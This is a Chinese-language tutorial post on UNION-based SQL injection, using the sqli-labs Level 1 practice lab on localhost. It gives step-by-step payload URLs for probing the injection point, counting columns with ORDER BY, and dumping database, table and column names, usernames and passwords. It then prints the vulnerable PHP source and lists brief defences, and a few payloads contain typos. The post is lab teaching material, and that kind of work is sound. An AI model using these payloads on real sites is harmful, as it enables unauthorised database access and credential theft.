SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)
SQL注入介紹
什么是SQL注入:
SQL注入是(SQLi)是一種注入攻擊,可以執行惡意的SQL語句,它通過將任意SQL代碼插入數據庫查詢,使攻擊者能夠完全控制web應用程序后面的數據庫服務器。攻擊者可以使用SQL注入漏洞繞過應用程序安全措施;可以繞過網頁或者web應用程序的身份驗證和授權,并檢索整個SQL數據庫的內容;還可以使用SQL注入來添加,修改和刪除數據庫中的記錄。
SQL注入的原理:
用戶輸入的數據被當作代碼拼接到代碼語句里面執行,造成一些不可估量的后果
危害:
你的數據被別人竊取,甚至被別人全部刪除。
有輸入輸出的地方,就可能存在安全問題
SQL注入基礎
- 一個可利用的數據庫
information_schema - information_schema庫的一些可利用的表
SCHEMATA表
schemata表存儲該用戶創建的所有數據庫的庫名。要記住該表中記錄數據庫庫名的字段名為SCHEMA_NAME
TABLES表
TABLES表存儲該用戶創建的所有數據庫的庫名和表名
?? ?? ?? ??字段名 table_name ?? table_schema
table_name存儲這個數據庫對應數據庫名的里面的表的值
table_schema是儲存了這個數據庫所有數據庫名的字段
COLUMNS表
COLUMNS表存儲該用戶創建的所有數據庫的庫名、表名和字段名
?? ?? ?? ??字段名 table_schema ??table_name ??column_name
table_schema存的是數據庫里面所有的數據庫名
table_name對應數據庫名的表名
column_name存儲的是對應表名的字段名
mysql函數利用
- 常見的注釋符
#或 - - 空格 或/**/
內聯注釋:
內聯注釋的形式:/*! code /。內聯注釋可以用于整個SQL語句中,用來執行我們的SQL語句
index.php?id=-15 /* ! UNION*/ /* ! SELECT*/ 1,2,3
/**/在mysql中是多行注釋,但是里面如果加了感嘆號!那么后面的內容會被執行(內聯注釋繞過)
SQL注入的種類:
介紹一些常見的幾種手法吧!
1、union聯合注入過程
第一步、測試注入點(一些小tips:利用引號,and 1=1, or 1=1之類的)判斷是字符型還是數字型
第二步、利用order by查表的列數
第三步、如有回顯,找到回顯位(回顯,就是顯示正在執行的批處理命令及執行的結果等)
第四步、利用union select 爆庫、爆表、爆字段名、爆值
接下來以sql-lab第一關來演示一下union聯合注入
sql-lab第一關:
輸入id=1——》http://127.0.0.1/sqli/Less-1/?id=1
step1、測試注入點(一些小tips:利用引號,and 1=1, or 1=1之類的)判斷是字符型還是數字型
當加引號時:http://127.0.0.1/sqli/Less-1/?id=1’——》報錯
當單引號后面添加注釋符時:http://127.0.0.1/sqli/Less-1/?id=1%’ - -+(+表示空格) ——》成功,有回顯
從這就可以判斷它是一個字符型的,并且存在sql注入
step2、利用order by查表的列數
看一下表回顯的列數,從1開始查起:http://127.0.0.1/sqli/Less-1/?id=1‘ order by --+
order by 1/2/3的時候都會成功回顯(/表示或)
當輸入order by 4的時候:
沒有第四列,所以可以判斷這個表有三列
step3、如有回顯,找到回顯位(回顯位就是能夠顯示你查詢信息的地方)
利用union select找回顯位:
這里為什么是id=-1?因為id=-1時返回的是一張空表
然后用union select聯合查詢1,2,3它也會返回一張1,2,3的表,一張空表和一張帶有1,2,3的表進行拼接,就會返回后面這張表(要保證前后兩張表列數是一樣的,這也是為什么要用order by 查詢這張表有多少列的原因)
可以看到2和3這個位置可以回顯我們的信息的
step4、利用union select 暴庫、爆表、爆字段名、爆值
先爆庫
利用database()來返回數據庫(寫在2或3的位置上都可以)
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,2,database() --+
如果寫成http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,database(),3 --+
可以發現它的數據庫是security,找到它數據庫名字之后,再去找表名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
由上圖可知security這個數據庫存放了emails,referers,uagents, users這四張表
下面看一看users這個表有哪些字段名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’ --+
由上圖可以發現user表中字段名有id,username,password
最后就是去爆這些字段名的數據(對應的值)
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(username) from users - -+
由下圖可知有這些用戶名
同理要找密碼的話:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(password) from users- -+
打開第一關后端語言的代碼分析一下吧!
MYSQL中group_concat()/concat()/concat_ws/substr()函數
注意start是從1開始的
打開index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-1 **Error Based- String**</title> </head><body bgcolor="#000000"> <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"><?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; } }else { echo "Please input the ID as parameter with numeric value";}?> </font> </div></br></br></br><center> <img src="../images/Less-1.jpg" /></center> </body> </html>沒有對用戶輸入的id進行過濾,導致我們想輸入什么就輸入什么
當輸入id=-1’的時候把單引號閉合了
$sql=“SELECT * FROM users WHERE id= ’ $id’ union select XXXX #’LIMIT 0,1”;
上面語句中紅色部分是我們傳進去的值: $ id后面的那個單引號和前面那個單引號形成閉合, #將后面部分注釋
防御措施
1、過濾危險字符
2、做到數據和代碼分離
2、時間盲注
3、布爾盲注
4、堆疊注入
5、通過sql注入寫webshell
總結
以上是生活随笔為你收集整理的SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 氮化镓 服务器电源管理系统报价,基于氮化
- 下一篇: linux cmake编译源码,linu